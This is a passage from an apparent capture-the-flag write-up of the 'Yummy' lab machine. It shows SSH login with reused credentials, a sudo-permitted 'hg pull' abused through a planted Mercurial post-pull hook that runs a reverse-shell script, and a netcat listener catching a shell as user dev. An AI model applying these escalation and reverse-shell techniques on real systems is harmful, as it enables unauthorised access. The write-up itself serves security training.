     'client_flag': CLIENT.MULTI_STATEMENTS
@@ -254,17 +254,13 @@
                 connection.commit()
                 appointments = cursor.fetchall()
 
<span style="color: red;">-                # Assume order_query comes from a request parameter</span>
                 order_query = request.args.get('order', 'ASC').upper()
 
<span style="color: red;">-                # Validate the order_query to ensure it is either 'ASC' or 'DESC'</span></span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Looks like <code class="language-plaintext highlighter-rouge">qa</code>’s credentials were originally used for the database connection. It can also be reused for SSH login.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh qa@yummy.htb</span>
<span class="cmd-output">
Warning: Permanently added 'yummy.htb' (ED25519) to the list of known hosts.
qa@yummy.htb's password: 
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Feb 21 04:51:52 PM UTC 2025

  System load:  0.01              Processes:             264
  Usage of /:   61.2% of 5.56GB   Users logged in:       0
  Memory usage: 21%               IPv4 address for eth0: 10.129.195.30
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

10 updates can be applied immediately.
10 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">qa@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=1001(qa) gid=1001(qa) groups=1001(qa)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">qa@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">cat user.txt</span>

<span class="linux-output">f1855900************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-qa">Escalation from <code class="language-plaintext highlighter-rouge">qa</code>:</h2>
<h3 id="sudo-rights">Sudo Rights:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">qa@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo -l</span>

<span class="linux-output">[sudo] password for qa: 
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">qa</code> can run <code class="language-plaintext highlighter-rouge">hg pull</code> as <code class="language-plaintext highlighter-rouge">dev</code>. The command would pull <code class="language-plaintext highlighter-rouge">/home/dev/app-production/</code> into the current repository. There’s also a Mercurial config file found in its home directory:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">qa@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 44
drwxr-x--- 6 qa   qa   4096 Sep 30 07:22 .
drwxr-xr-x 4 root root 4096 May 27  2024 ..
lrwxrwxrwx 1 root root    9 May 27  2024 .bash_history -&gt; /dev/null
-rw-r--r-- 1 qa   qa    220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 qa   qa   3771 May 27  2024 .bashrc
drwx------ 2 qa   qa   4096 Feb 21 16:51 .cache
drwx------ 3 qa   qa   4096 May 28  2024 .gnupg
-rw-rw-r-- 1 qa   qa    728 May 29  2024 .hgrc
drwxrwxr-x 3 qa   qa   4096 May 27  2024 .local
-rw-r--r-- 1 qa   qa    807 Mar 31  2024 .profile
drwx------ 2 qa   qa   4096 May 28  2024 .ssh
-rw-r----- 1 root qa     33 Feb 21 11:50 user.txt</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">qa@yummy</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">cat .hgrc</span>

<span class="linux-output"># example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe &lt;jdoe@example.com&gt;
username = qa

# We recommend enabling tweakdefaults to get slight improvements to
# the UI over time. Make sure to set HGPLAIN in the environment when
# writing scripts!
# tweakdefaults = True

# uncomment to disable color in command output
# (see 'hg help color' for details)
# color = never

# uncomment to disable command output pagination
# (see 'hg help pager' for details)
# paginate = never

[extensions]
# uncomment the lines below to enable some popular extensions
# (see 'hg help extensions' for more info)
#
# histedit =
# rebase =
# uncommit =
[trusted]
users = qa, dev
groups = qa, dev</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="mercurial-hooks">Mercurial Hooks:</h3>

<p>Mercurial can have hooks configured to run after a pull. According to the <a href="https://repo.mercurial-scm.org/hg/help/hgrc">docs</a>, these are configured by a <code class="language-plaintext highlighter-rouge">hgrc</code> file placed within the <code class="language-plaintext highlighter-rouge">.hg/</code> folder.</p>

<p>I’ll make a copy of the config file found in the home directory and add the following lines. It should run my reverse shell script after making a pull.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[hooks]
post-pull = /tmp/rev.sh
</code></pre></div></div>

<p>Note that the config file and the <code class="language-plaintext highlighter-rouge">.hg</code> folder must be accessible by <code class="language-plaintext highlighter-rouge">dev</code>, otherwise it won’t work. I did it the lazy way of creating a folder in <code class="language-plaintext highlighter-rouge">/tmp</code> and granting <code class="language-plaintext highlighter-rouge">777</code> permissions for everything within it.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">qa@yummy</span>:<span class="linux-path">/tmp/exploit</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la .hg</span>

<span class="linux-output">total 12
drwxrwxrwx 2 qa qa 4096 Feb 21 17:17 .
drwxrwxrwx 3 qa qa 4096 Feb 21 17:17 ..
-rwxrwxrwx 1 qa qa  761 Feb 21 17:12 hgrc</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll run the sudo command again, and it hangs.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Yummy</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">qa@yummy</span>:<span class="linux-path">/tmp/exploit</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo -u dev /usr/bin/hg pull /home/dev/app-production/</span>

<span class="linux-output">pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>On my listener, a shell as <code class="language-plaintext highlighter-rouge">dev</code> is caught.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.129.195.30] 57190
I'm out of office until February 22th, don't call me
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
